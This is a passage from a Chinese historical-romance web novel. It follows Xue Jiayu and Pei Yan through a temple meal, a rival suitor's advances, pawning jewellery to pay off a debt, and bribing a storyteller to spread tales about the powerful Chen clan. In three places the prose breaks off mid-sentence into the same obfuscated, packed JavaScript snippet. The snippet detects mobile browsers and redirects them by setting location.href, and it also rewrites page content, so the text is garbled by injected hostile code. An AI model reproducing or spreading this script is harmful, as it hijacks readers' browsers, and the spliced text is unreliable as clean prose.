妙云大师曾为裴砚算过几次,这次也懒得给他算了,见他们二人也没有旁的事情要说,于是在临走前给他们留下了一句箴言,“若是你们真心相爱,就务必要珍惜携手相处的日子,莫要等时光流逝,爱人不在之时,才缓缓醒悟。” 妙云大师来也匆匆去也匆匆,一会儿就瞧不见人影了。 正巧此时霍玉燕派了小厮来叫他们去吃斋饭。 二人一同朝着山上走,路上裴砚忽然出声:“刚听见没?要珍惜和我共处的日子。” “你这话说的好像跟我们俩注定要分开似的。”薛嘉玉的脑海里忽然间响起来了方才妙云大师说的一句话,虽然她并不介意,但是她也想要看看裴砚的态度,“文溪,刚妙云大师说我子嗣缘薄,你确定还想要娶我?就不怕绝后了?” 裴砚轻轻地“嘁”了一声,他迅速地吻了一下薛嘉玉的脸颊,“娶啊,为什么会不想娶?孩子生不生我都不在乎,至于传承香火就交给裴珩了,我只想跟你一起白头到老。” 薛嘉玉不要相信这些漂亮话,这年头哪个女子嫁进夫家不是生了一窝孩子的?就算没有生下一窝孩子,自己的丈夫也养了一窝的妾室,庶子成堆成山。 “你这么想可不代表你爹娘也会这么想,而且说不定别人也会议论我,说我不守妇德。” 他知道薛嘉玉有这样的忧虑是情理之中的,因而裴砚温声宽慰:“这一点你大可放心,我们裴家没有逼儿媳妇生孩子的规矩,也不盼着生男孩儿,更没有纳妾的规矩,这都是自祖辈那会儿就传下来的。” 薛嘉玉蓦地装出一副若无其事的模样,她矢口否认:“什么放心不放心?我又没说要嫁进你们家。” 二人来到斋堂,裴砚想着薛嘉玉刚才说她有点害怕霍玉燕,干脆就自己挨着霍玉燕坐,让薛嘉玉靠着自己坐,可是裴砚的屁股刚挨着长板凳,就听见了一道他极其不想要听见的声音。 “薛姑娘,没想到我们竟如此有缘,能在这里重逢。” 这话一出,引得桌上六人纷纷循声望去。 只见不远处的枯树旁站着一位身着青衣的男子,他的头发参差有致地洒在背上,他眉眼如画,肤如凝脂,唇红齿白,光是站在那里都能形成一道极美的风景。 薛嘉玉现在好像找个地洞钻进去啊,她的嘴角扬起一抹僵硬的笑容,“越公子,好久不见。” 越褚往前走了几步,向霍玉燕和裴诚热情地寒暄了几句,接着就把视线直接越过裴砚,落到了薛嘉玉的脸蛋上,“薛姑娘,近日可好?” 裴砚抢先一步替她回话,“她在裴府过得很好。” 可越褚也是个嘴上不饶人的,他阴阳怪气地反问:“哦?裴府?我记得你们二人还未定下婚约吧,早早地就让薛姑娘住在裴家,这是在逼迫薛姑娘和你定亲吧?” 霍玉燕的视线在他们二人身上逡巡了几遍,她是过来人,对这种儿女情长的事情简直不要太了解,她放下手里的筷子,脸上虽然带笑,但依旧压迫感十足,她看向越褚,“越公子,这么说话可就不对了。薛娘子与我儿情投意合、两情相悦,我可找算命先生说过了,他们两个可是天造地设的一对,任谁也拆不开。” 越褚面上依旧波澜不惊,他微挑眉梢,视线落在了裴砚身上,但话却是对薛嘉玉说的,“薛娘子,婚姻并非儿戏,此乃终身大事,务必要擦亮双眼啊。” 薛嘉玉礼貌地跟着应和,“这等道理我自是明白的,文溪是什么样的人,我心里面很清楚,就不劳烦越公子费心了。” 越褚听得出来你话里面的意思,他也自知继续在这里纠缠,兴许会惹得薛嘉玉厌烦他,所以他只好知趣地离开此处。 待他离开之后,薛嘉玉思来想去,还是应该同二老解释一下,免得心生嫌隙。 “霍夫人,裴伯,我与那越公子只匆匆见过几面,没有任何亲昵之举,我对他也绝无私情。” 霍玉燕年轻的时候才貌双绝,全身上下就没有哪一个地方是拿不出手的,当时五陵年少都沦为了她的裙下臣,她如今又怎么会冤枉或者说是怪罪薛嘉玉呢? “被男子喜欢怎么会是你的错呢?有好几位男子追求你,这不恰恰也说明了你是一个无论外在还是内在,都非常优秀的小娘子吗?况且,有别的男子追求你,还顺道能够让文溪知道爱一个人就要学会珍惜。” 霍玉燕这一番话完全出乎了薛嘉玉的预料,她原本以为霍玉燕会让她好好遵守妇德,勿要抛头露面,招惹是非,以免影响了裴砚的仕途。 薛嘉玉眼眸微亮,她点了点头,“霍夫人说的极是。” 千佛寺的僧人只准备了青菜和白米饭,一整碗饭都吃进肚子里面后薛嘉玉仍旧感受不到饱腹感,而且也不知道吃完斋饭以后还会不会继续上山,所以薛嘉玉打算悄悄带着冷掉的煎饼溜走,等吃完之后再跑回来。 只是这煎饼放在裴砚那里,也就是说还得要把裴砚一块儿带走。 她轻轻扯了扯裴砚宽大的墨绿色袖子,不需要她开口,裴砚就猜到她应该是想要溜走,好去吃煎饼。 裴砚将手里的筷子横放在碗上,一本正经地对着霍玉燕撒谎,“娘,阿玉有些闹肚子,我带她去解决一下。” 霍玉燕冲着他往外摆了摆手,示意让他快点带着薛嘉玉去茅房。 被迫安上了“闹肚子”这个名头的薛嘉玉佯装一副很难受的模样,她两手捂着肚子,嘴里还不断发出轻微的“哎哟”声,裴砚贴心地搀扶着她往旁边走,等走到一个看不见他们的地方后,薛嘉玉的病猛地就好转了,她直起身来,一只手自然垂在腿边,一只手则是暴力地伸进裴砚的衣服里面去抢煎饼。 裴砚顿时有一种自己被非礼的感觉,他单手捂住方才被摸的地方,耳尖泛起一片羞红色,“你直接上手抢做什么?又没人抢你的。” 薛嘉玉像是饿狼扑食一样,眼里只有“吃东西”这三个字,根本没理会裴砚的无理取闹。 “你慢点吃。”他嘴巴上这么嫌弃着,但身体却非常诚实,裴砚抬起手臂,用手帕轻轻地给她擦了擦嘴角。 她疯狂进食,几下就把又凉又硬的煎饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203690|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给啃完了,可兴许是因为这款煎饼实在是太硬,而薛嘉玉又吃得特别快,所以她吃完之后毫无意外地噎住了。 薛嘉玉将手掌心放在胸膛上,轻轻地拍了拍,裴砚看她这样子,觉得又好气又好笑,他连忙带着薛嘉玉回到斋堂,将桌子上的茶杯递给她。 她端起茶杯,朝嘴里猛灌一杯,这才觉得好了不少。 霍玉燕瞧着薛嘉玉这模样,有些担忧,便转头质问裴砚:“文溪,薛娘子这是怎么了?” “她没事,就是口渴了而已。” 听及此,霍玉燕也没有多问,她将手帕收好,从凳子上站起来,“那我跟你爹就先告辞了,不然我们没办法在明早赶到广陵。你们兄弟俩也都是有家室的人了,就不要再吵吵闹闹的了。从瑜,你们俩夫妻有话好好说,不要再生出什么嫌隙来了,而且你也不要把那些驴脾气撒在宁显身上,平日里不要总埋头工作,也要多陪陪宁显,知道——” 听到这里,裴砚情不自禁地笑了一下,见霍玉燕那道目光如炬的眼神扫到了自己的身上,他连忙收起了笑容,佯装什么事情都没有发生。 霍玉燕将头偏过来,用手指戳了戳裴砚的眉心,“还有你,裴文溪!你还好意思给我嬉皮笑脸的,就你这幅跟从瑜如出一辙的脾气,能找到薛娘子这般好的女子已经是做梦都梦不见的稀罕程度了,虽然你们俩还没定下婚约,但是你也得要尊重她,爱护她,听明白了没?最重要的一点是,你必须得要克己复礼,休要对人家小娘子胡来!” 裴砚不过心地点点头,这种类似的话他都已经听了不知道多少次了,耳朵都快磨出茧,脑袋都快背下来了,他敷衍地回答:“知道了知道了。” 霍玉燕左手叉腰,右手则是拍了一下他的脑袋,“对你老娘我这么敷衍啊?你还当不当我是你娘亲了啊?还是小时候好,天天都黏在我身上,一个一个娘亲的叫,那叫得可真让人觉得心软。” 他快要听不下去了,连忙从凳子上站起来,裴砚两手推着她的后背,“你们快出发吧,不然一会儿可就真的赶不上了。” 待霍玉燕骂骂咧咧地和裴诚离开后,他们四人也纷纷朝着马车走去,裴砚刚把薛嘉玉扶上马车,就听见一旁的裴珩叫他,“文溪,你过来,我同你谈谈那件事情。” 裴砚心领神会,立马朝着裴珩的马车走去,而蒋宁显就得和薛嘉玉坐同一架马车了。 她怕蒋宁显磕了碰了,就想要伸手扶她上来,但蒋宁显没同意,反倒是让她进马车里面去坐着休息,这外面风大,莫要感染风寒了。 她们二人并肩坐在一起,薛嘉玉的视线不禁瞟向她尚且还算平坦的小腹上,蒋宁显握住她的手腕,将她的手心轻轻放在自己的小腹上,“想摸就摸吧,不过这孩子还小,还摸不出来。不过裴珩每夜都会隔着肚皮,和孩子说话,也不知道这孩子听不听得懂。” 薛嘉玉摸了摸她的小腹,动作十分轻柔,“我瞧着这几日兄长晚上都没有待在书房里面,看来是去陪着长嫂了。” 提起这个,蒋宁显肚子里就一窝火,她闷闷地哼了一声,“他哪里是来陪我了?他分明是改在卧室里面看案牍了,还不如去书房办公呢。” “这毕竟刚科考完嘛,兄长又是吏部侍郎,年少有为,自然会被委以重担嘛。” 蒋宁显就是出身官宦世家,她从小到大都知道中央官员公务有多么的繁忙,她也没有弱小到一定要有一个人陪着她,罩着他,只是自从怀了身孕之后,她的情绪就不像之前那么平稳了,总是会控制不住地想哭,可是裴珩忙,陪不了她,但她现在很需要陪伴。 她浅浅叹了口气,“你说的也是。” 薛嘉玉察觉到她精神有些萎靡,用手握住她的肩头,关切地问:“怎么了?是不是身子不舒服?” 蒋宁显曲起手臂,轻柔地拍了拍她的手背,“我没事,你不用担心。” “对了,长嫂,我想问你件事。”她蓦地想起方才裴珩神神秘秘找裴砚过去谈事,平时裴砚若是要去跟别人谈事,都会跟她说一声,可这一次却没有,薛嘉玉只觉十分奇怪,于是她问,“兄长方才说的‘那件事情’指的是什么?” 51. 流氓 蒋宁显歪着脑袋认真想了想,随即遗憾地摇了摇头,“我也没有任何头绪,裴珩向来不会主动和我提起公务上的事情,我一般也不会问。如果你很想知道的话,一会儿回去之后我帮你问一问。” 薛嘉玉眼中金光一闪,她两只手倏地抓住蒋宁显的手臂,语气中不乏惊讶和期待,“当真?” 她扬起手臂,用手指给薛嘉玉仔细地理了理耳后的头发,“当然是真的,我唬你做甚?” 听及此,薛嘉玉将脑袋搁在她的肩膀上,脑袋埋进肩窝,左右摇晃着,接着又蹭了蹭她的脖子,“长嫂最好啦,长嫂怎么对我这么好呀!” 蒋宁显被她弄得有些痒,忍不住笑了几下,“别蹭我啦,痒乎乎的。” 可是薛嘉玉却很留恋这种感觉,她暂且安静下来,冲着蒋宁显软软地撒娇:“不要嘛,长嫂,你就依着我嘛。” 蒋宁显瞧她这副模样,忍不住心下一软,她松了松口,“好好好,都依你。” 车夫按照裴珩事先的指示,选择了一条比较平坦的路回府,这样一来,蒋宁显的孕吐反应也不会那么严重。 不过这条路要更慢一些,等她们回到裴府的时候,都已经快要到吃晚膳的时候了,蒋宁显一踏进府门,就神秘兮兮地拉着裴珩回房,裴珩一脸茫然。 薛嘉玉则是把裴砚给揪到了书房里面,裴砚有些搞不明白这妯娌俩在打什么算盘,他被薛嘉玉摁在墙壁上贴着,眸中划过一丝狐疑。 裴砚两只手掌心不老实地贴在薛嘉玉的侧腰上,“你跟长嫂玩什么花样?刚一回来,就我们兄弟俩带到屋里,是不是又想和我行周公之礼了?” 她曲起右腿,狠狠地踩在裴砚的脚尖上,薛嘉玉冷着脸吩咐:“首先,把你的手给我拿开。” 见她脸色不好,裴砚不敢不认真起来,他连忙缩回两只手,“怎么了?” “你……是不是瞒着我做了一些事情?” 裴砚下意识摇头,矢口否认,“没有啊,我能有什么东西是瞒着你的?” 薛嘉玉两眼微眯,两只眼睛炯炯有神,眸中含有猜忌,“真的吗?不曾有假?” “不曾。” 她依旧没有放过裴砚,薛嘉玉抬起手臂,将手掌心透过大氅放在他的肚子上,裴砚以为她这么做,是想要跟自己调情,刚准备逗逗她,肚子上就瞬间传来一阵剧痛。 薛嘉玉趁他不备,用手捏住他的肚子,“裴砚,你真的没有骗我?” 裴砚吃痛地弯下腰,他轻轻皱起眉头,脸上看起来甚是委屈,“我真的没有骗你。反倒是你,你到底在打什么歪心思?你是不是想谋杀我,然后跟那个越褚在一起?” “怎么可能?你别瞎说。”她再度把自己的手掌心贴在裴砚的肚子上,佯装又要掐他的模样,“你要是继续瞎说的话,你信不信我又掐你?” 他立马服软,“好好好,我不说了,以后都不说了。” 薛嘉玉往后面退了几步,不打算和他计较了,既然他说没有,那就当是没有吧,她转身打算离开这里,却又被裴砚给抓了回来,她登时有种不好的预感,“你要干嘛?” 裴砚一手扣住她的手腕,一手放在肚子上,做出一副十分难受的模样,“你刚下手太重了,都给我掐红了,你得给我亲自涂药。” 薛嘉玉就知道他心里面没有打什么好主意,“你怎么又耍流氓?” 他很是委屈地反问:“我哪里耍流氓了?” “我们两个还没定下婚书,怎么能逾矩呢?” 裴砚哼笑一声,“你想要婚书?我现在就能给你立好。” 薛嘉玉摇了摇头,嘴巴里一直重复着“不”这个字,然后在慌乱间跑出了书房。 她回到厢房后,就悄悄把门锁上,薛嘉玉打开衣柜,将层层衣服翻出来,接着一个上了锁的木盒子显现出来,她把木盒子取出来,放在一旁的矮柜上面,之后把衣服放回衣柜里面。 她抱着木盒子走到圆桌面前,将木盒子“啪”的一声放在桌子上,薛嘉玉一边坐下,一边用钥匙开锁,揭开盖子,里面放着的是她的全部身家。 幸好上一次裴砚带着她去永胜赌坊赚了不少钱,不然她根本就还不上那五百两黄金,薛嘉玉清点了一下,里面的银钱连十两黄金都凑不齐,可她现在还欠着三百两黄金,虽说崔景天不会催她,可是欠的久了,薛嘉玉心里面也虚。 她的视线挪到一旁的金镶玉长命锁上面,这块长命锁上面镶嵌的玉十分通透,还分别镶嵌了三颗珍珠,虽然珍珠不大,但这是祖母当时用攒了好久的钱给尚在襁褓的她买的。 薛嘉玉捧起那块长命锁,她在犹豫要不要把它给卖了? 可是这是祖母留给她的遗物,薛嘉玉实在舍不得,而且她也怕自己当了之后,赎不回来。 那要不把兄长送的那支黄金步摇给卖了? 薛嘉玉最后想了想,还是觉得算了,反正不管卖掉哪一个,她都没办法在短时间内一次性还清。 她合上箱子,外面正好传来“咚咚咚”的敲门声,薛嘉玉连忙把木箱子放好,然后去门口开门,站在门口的人是蒋宁显。 想来她应当是来同薛嘉玉说那件事情的。 薛嘉玉侧了侧身,“长嫂,快进来吧。” 蒋宁显摇摇脑袋,莞尔一笑,“我就不进来了,我一会儿还有事情。那件事情我替你问了,但裴珩不肯告诉我,说这是文溪的意思。” 她抿着嘴巴摇头,薛嘉玉心中已然有了个数,“没事,还是多谢长嫂。” “那我就先走了。” “好,长嫂慢走。” 薛嘉玉刚关上门,忽然间就又打开了,门发出了吱呀吱呀的声音,还夹杂着空气的流动声。 她蓦地又改了主意,若是不卖东西的话,那她一辈子也还不上,若是卖了东西的话,那她至少半辈子可以还上。 不过绝不能卖掉祖母给的长命锁。 薛嘉玉将木盒子打开,将裴珩送的那支步摇拿出来,揣在身上,继而推开房门,猛地朝外面跑。 殊不知,这一切都被在花园里逗鱼的裴砚给看见了。 她先是回到西市的屋子里,将上一次崔景天送她的那些首饰全都翻出来,将这些宝贝小心翼翼地放在布包里面,随后又拉开自己的妆奁,也不管值钱与否,反正能卖到一两银子的珠钗都被她给塞进了布包里。 薛嘉玉唯独留下了裴砚送的那只簪子和自己在洛阳买的流苏簪子。 趁着现在离当铺闭店还有点时间,薛嘉玉立刻将布包整理好,然后一把甩在肩膀上扛着,她来到西市的一家有口皆碑的当铺。 当薛嘉玉把自己布包里面的东西全都摊在店主面前的时候,店主的双眼顿时都快要被闪瞎了,他从未见过拥有这么多值钱玩意儿的富贵小姐还会亲自来当铺把这些当掉。 店主只觉眼花缭乱,他一个一个地拿起来鉴定,然后评估价格,等他全都鉴定完,已经过了半个时辰了,他伸出一根手指头,“一百两黄金,小娘子觉得怎么样?” 薛嘉玉现在急于套现,不想太纠结价格,“行,就这样吧。” 店主将这些稀罕东西一一收纳好,他找来两个小厮,让他们到库房里面数一百两金子出来,大抵是因为薛嘉玉一次性在这里当了这么多的东西,所以店主十分贴心地叫那两个小厮把金子抬回她的屋子里。 薛嘉玉带着小厮来到自己的房里,她把箱子藏好,随后就把窗户那些也糊好,最后临走前便把门锁好,上好门闩。 她左脚刚踏进裴府,裴砚就立刻迎了上来,似乎是早早就在等她了一般,不知道是不是因为她有些心虚,等裴砚一靠近她,薛嘉玉就立马抱住了他的腰。 薛嘉玉将脸贴在他热乎乎的胸膛上,手掌心不受控地在他强劲有力的脊背上游走,“文溪,你身上好香。” 裴砚低头瞧她这么主动,总觉得有些蹊跷,“怎么忽然间又对我这么好了?莫非是在外面惹什么事了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223373|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她跺了跺脚,薛嘉玉扬起脑袋,用手指戳了戳裴砚的心窝子,“你怎么这么说话?我不亲近你,你说我对你不好,我亲近你,你又觉得我心怀不轨。” “行,是我的错,是我用词不当。” 说罢,他牵着薛嘉玉的手心,带着她穿过重重蜿蜒的走廊,最后停留在了裴府那块很少有人踏足的偏院。 薛嘉玉瞅见前方不远处放着一个四四方方的烤炉,下面则放着几块木炭,她将视线收回,不确定地问:“你把我带到这里来,是想给我弄烧烤?” 裴砚带着她到旁边的石凳上坐下,“对啊,给你准备了兔肉、羊肉、鸡肉还有鱼肉,想先吃哪一个?” 她盯着面前这几样肉,光是在脑袋里面想想它们烤熟之后的模样,薛嘉玉就已经垂涎欲滴了,她纠结了一会儿才道:“想吃羊肉。” “好,我跟你烤。” 听及此,薛嘉玉忽然有些担忧,她犹豫不决地开口:“你不会又把肉烤焦吧?” 裴砚抬起手臂,曲起食指,用指关节敲了一下薛嘉玉的脑门,“你放心。” 在外面坐久了,薛嘉玉就觉得有点冷,她还没来得及开口,裴砚就已经注意到了,并十分贴心地让小厮拿个暖手炉过来。 不一会儿,薛嘉玉的怀里面就多了一个暖乎乎的暖手炉,她抱着暖炉,却注意到裴砚的手背上出现了密密麻麻的青紫色条纹,她不忍在心里面叹了口气。 薛嘉玉一边把怀里的暖手炉递给裴砚,一边语重心长地说:“你别光关注我,多关心关心自己。呐,你瞧你的手,冰得都成什么样了?” “这么关心我?”裴砚轻轻笑了一下,他腾出一只手,将暖手炉塞回薛嘉玉的怀里,“不过不用了,我身子骨可不差,你自己抱着吧。” 裴砚瞧着那半只兔子也烤得差不多了,就把竹签递到她收咯,“快趁热吃吧。” 薛嘉玉接过竹签,怀着忐忑的心,凑近咬了一口,“唔,还不错,你的厨艺见长啊。” 他单挑眉稍,脸上不禁划过一丝骄傲的神色,裴砚又拿起一旁放着的小鱼,用竹签串好,放在烤炉上面,这时候裴砚的眼前忽然出现了一个香喷喷的还冒着热气的烤兔。 裴砚瞟了薛嘉玉一眼,有些疑惑不解,“干嘛?叫你快点趁热吃,一会儿凉了就不好吃了。” 薛嘉玉的脸瞬间冷了下来,她连忙把烤兔收了回去,然后腾出左手,狠狠地推了裴砚一把,差点儿没把他直接推倒在地。 她闷哼一句,“真是媚眼抛给瞎子看,你看不出来我是体谅你烤肉辛苦,专门递过来喂你的吗?真没眼力见,也不知道是怎么混到大理寺少卿的。” 听及此,裴砚立刻凑过来,就着她手里拿着的烤兔咬了一口,倒打一耙,“这不还是因为你从来没主动和我这么亲近过嘛,我自然想不到那方面去。” 薛嘉玉皱了皱眉头,连人带凳一块往旁边挪了挪,二人之间立刻隔出一条楚河汉界,她没有理会裴砚,而是埋着脑袋,自顾自地啃兔肉。 裴砚见她似是有些生气,他厚着脸皮,跟着靠了过去,他用手握住薛嘉玉纤细的手臂,轻轻晃了晃,“阿玉,你大人有大量,就莫要与我计较,行吗?” 她从鼻腔里面哼了一声,“算你还识相。” 薛嘉玉刚转过头来,双唇就被裴砚吻住,她甚至来不及闭眼,只见眼前的男子眉清目秀,睫毛比她一个女子都还要卷翘,他滚热的呼吸声喷洒在薛嘉玉的嘴周,弄得她痒乎乎的。 待到二人气息紊乱之时,薛嘉玉才强迫他把自己放开,可是她尚未来得及大口呼吸,就又被裴砚给紧紧拥入怀中,她已经快要喘不过气了,就连站都要站不稳了。 薛嘉玉用手里的竹签戳了戳他的后背,“文溪,你放开我。” 可是裴砚却将她抱得越来越紧,只见他凑到薛嘉玉耳边,轻声说:“阿玉,我希望你可以相信我、依赖我,有的时候依靠别人,想要向别人倾诉,并不是一种示弱的行为。” 52. 刺绣 一晃已经到了一月,再过一周就要到过春节的时候了。 而薛嘉玉也在裴府住了两个月了,这一个月里她依旧在琢磨应当如何掀起陈府的波澜,总算是有了些苗头。 一月的长安冷得砭人肌骨,白天街道上都没有多少人,大多百姓都窝在家里取暖,或是去茶楼听人说书了。 薛嘉玉在自己身上裹了好几层衣裳,面上戴着一层白色面纱,手里撑着一把油纸伞,漫天纷飞的雪花落在油纸伞上,抬头一看油纸伞上已经蒙上了一层厚厚的雪,她踏着雪地,来到一家名为“逢春”的茶馆。 她收起油纸伞,将伞上面的雪抖掉,薛嘉玉走进茶馆,正好碰见说书先生坐在椅子上讲着时兴的趣事儿,她冲着说书先生抛了几枚银锭,说书先生的眼睛瞬间就亮了,他连忙起身,弯下腰去地上捡那些银锭。 薛嘉玉冲着他招了招手,说书先生立马揣着银子,屁颠屁颠跟着她来到二楼最偏僻的一间包厢。 她将门栓上好,从袖子里面拿出一张纸,递到了说书先生面前,薛嘉玉夹着嗓子说:“王榷先生,我知道你已经在这家茶楼里面当了很多年的说书先生了,大家伙儿都喜欢听你讲故事,所以今日我是来给先生您提供故事的。” “提供故事?”王榷拿起面前的纸,上面写着当年陈氏分家的事情,虽然有些细节省略了,但正就是因为没有过多细节,才能够让听众浮想联翩。 王榷看了之后,面色陡然变得阴沉,“这可是关于那陈氏的事情,陈氏一手遮天,我可不敢随意编排陈氏。” 薛嘉玉早已料到他会这么说,选择明哲保身这是人之常情,她又从钱袋子里面掏出一个金元宝和一封书信,“你还是看过这两样东西之后,再给我一个最终的答复吧。” 王榷展开信纸,上面的字迹歪歪扭扭,甚至还有几个错别字,这分明是刚启蒙的稚子才能够写出来的,他一眼便认出这是这是自己儿子的字迹,只见信上写着:爹爹,阿满和娘亲都想爹爹了,爹爹什么时候归家呀? 他折好这封信,一滴眼泪渗透纸背,晕开墨迹,王榷也不是个傻子,他知道这位小娘子把儿子的书信交给他代表着什么,如今他已然被摁在了砧板上,只有为鱼肉的份。 王榷并未过问太多事情,只将那张写满了陈氏所作所为的纸拿起来,可他正准备揣进袖子里的时候,手腕却被薛嘉玉握住,制止了他的行为。 “小娘子,你这是?” 薛嘉玉将他的手放在桌子上,然后抽出他手心里的纸,“你将纸上的内容记下,我要看你当场把纸烧掉,否则我的心里也不安稳啊。” 他笑了下,意味不明地赞叹了声:“小娘子当真是很谨慎啊” 她将那张纸摊开,“谨慎一点,于你于我都好。” 王榷说了那么多年书,记性自然不差,不出一刻钟就已全部记下,然后捏起一角,将纸放在蜡烛上面点燃,迅速化为了灰烬。 薛嘉玉此刻也能放心了,她转身推开大门,却见门外站着一个男子,待她看清那男子的长相时,她的瞳孔猛地一震。 只见越褚身着一身紫衣,衬得他皮肤白皙,简直是吹弹可破,他背靠栏杆,两个手肘后搭在栏杆上面,掌心自然垂下,浑然一副游手好闲公子哥的模样。 薛嘉玉率先打破沉默,“越公子在此处站了多久了?” 越褚往前面走了几步,他双手抱在胸前,含笑道:“你希望我怎么回答?是一早就来了,并且什么都听见了?还是刚刚才来,什么都没听见?” 她如今不想要和越褚多费口舌,薛嘉玉迈开腿,想要直接绕过越褚离开这里,可是越褚却直接抓住了她的手臂,薛嘉玉蓦地回头,想要挣脱,却是徒劳。 “薛姑娘,我不知道你为什么会想要针对陈氏,可是陈氏在长安根深蒂固,可不好铲除,我劝你还是收手吧。” 薛嘉玉敛了敛眉,她勾了勾唇角,不禁在心里面冷笑一声。 果然,任谁听了,都会想要劝她收手,不要与权贵硬碰硬。 可是薛嘉玉身上背负着血海深仇,她若是退却了,那么那些为了保护她而死的家人算什么?他们的在天之灵得不到告慰,那她活着的意义是什么? 所以,这也是她迟迟不肯跟裴砚坦白的原因,薛嘉玉也怕到时候裴砚会劝她收手,这样对他们的关系而言也无好处。 薛嘉玉用力将他的手甩开,“越公子,你不知道内情,就请不要置喙我的事情。” 说罢,她便直接转身离开。 越褚大步流星地跟上去,冲着她的背影说:“那你需要我帮忙吗?” 她皱着眉头,转过身去盯着越褚,薛嘉玉只觉这人实在是莫名其妙,方才还在劝她收手,现在又提出要帮忙。 果然,男人的心思真难猜。 薛嘉玉狐疑道:“越公子连我为什么要对付陈家都不知道,又为何答应帮我?就不怕把自己拉下水?” 越褚好整以暇地盯着她那双明艳动人的狐狸眼,“我确实不知道你为什么要针对陈家,我也并不好奇。不过我看姑娘今日是孤身前来,说明了裴砚没有帮你。既然他不帮你,那我来帮姑娘便是。” 她叹了口气,明眸似水,认真地对越褚说:“越公子,这不关裴砚的事情,是我没有告诉他。况且,我和越公子也并不熟悉,我对你没有任何情意,你大可不必这样做,这样只会让我心生愧疚。” 说罢,薛嘉玉便转身离开,刚走了几步,前路就被快步赶上来的越褚给堵住了,越褚的眸中多了几分忧愁,他轻轻蹙起眉头,语气中夹杂着一丝委屈,“可一开始招惹我的是姑娘你,也是你那夜喝醉了想要吻我,为什么现在你就要因为裴砚那个人把我拒之门外呢?我不介意当你的面首的。” 薛嘉玉忽然觉得脑瓜子好疼,她用指腹揉了揉眉心,“越褚,那一夜确实是我唐突了,是我的错。可是这世间还有很多兰质蕙心的女娘,你堂堂一个越府的小公子何必要委身当面首呢?” “可是我——” 话还没有说话,就已经被薛嘉玉给无情打断了,她抬起手臂,掌心向外,这是一个明晃晃的拒绝动作,“越褚,就算我们相识的时候,裴砚没有出现,我也不会对你心生好感,因为我们对彼此根本不了解。裴砚他懂我,他看得明白我的心思,他也从来不介意我的一些小习惯,这是我此前遇到的人都做不到的” 未等越褚回话,薛嘉玉就已经快步离开这里了,她刚一回到府里,就看见蒋宁显坐在院子里面绣孩子的帽子,她快步走到蒋宁显身边,想要瞧瞧她绣的帽子。 蒋宁显瞧见她戴着一副面纱,觉得甚是神秘,她伸手轻轻揭开她的面纱,“出门做什么去了?怎么还戴了一副面纱?” 薛嘉玉将取下来的面纱攥在手里,她随便编了一个理由,“这不是没有上妆嘛,就想着戴面纱遮一遮。” 只听蒋宁显由衷地夸赞:“你不戴面纱也很好看。” 她低头看向蒋宁显手里的虎头帽,中心的位置用针线绣了一个小老虎,神情凶猛,活灵活现,比她绣得好看多了。 “长嫂,你教教我怎么刺绣呗。” 蒋宁显放下手里快要织完的虎头帽,她饶有兴趣地将视线挪到薛嘉玉脸上,神秘兮兮地凑到她旁边问:“你可是要给文溪准备生辰礼物?” 见她一下子就把自己的小心思戳破了,薛嘉玉连忙对着她比了一个噤声的手势,“长嫂,你小声点!” 蒋宁显觉得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229386|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个反应甚是可爱,情不自禁地笑了出来,她没忍住用手捏了捏薛嘉玉那日渐圆润的脸颊,“怕什么?文溪出去了。” 薛嘉玉坐在旁边的木椅上,屁股刚挨着椅子,就发出了咯吱咯吱的声音,她两腿并拢,一只手撑着脸颊,脸上尽显困惑,“可是我还没有想好应该给文溪准备什么样的礼物。” 她虽然是裴砚的长嫂,可也不知道他喜欢什么,蒋宁显便提了个建议,“要不就送一张手帕吧?” 手帕? 薛嘉玉想了想,手帕四四方方的,也不大,想必学起来也比较简单,要是实在绣不好上面的花纹,那大不了就随便绣绣。 她点了点头,“好,就手帕了。” 蒋宁显从旁边的竹篮里面拿出一个四方形的绣绷,接着挑了一匹雪缎,她把雪缎放在绣绷上卡好,然后递给了薛嘉玉,“你现在就用针线在上面绣一些花花草草就可以了。” 薛嘉玉是一个连线都画不直的人,让她绣花花草草,简直比登天都还要难,可是再过三日就是裴砚的生辰了,若是赶工的话,恐怕绣得不太好看。 思来想去半天,薛嘉玉忽然间有了一个好主意,她虽然绣不好花花草草和虫鱼鸟兽,但是她写得来字啊,不妨直接绣几个字在上面好了。 薛嘉玉拿起绣花针,费了好大心思才把线穿进细长的洞里,正准备开始绣字,就听见身后传来一阵裴砚的声音。 她慌得连忙把绣绷和针线全都藏进竹篮子里面。 裴砚瞧她方才急急忙忙的,好似在藏什么东西,他便走上去,好奇一问,“藏什么呢?” 薛嘉玉无辜地摊开双手,“我什么也没藏。” 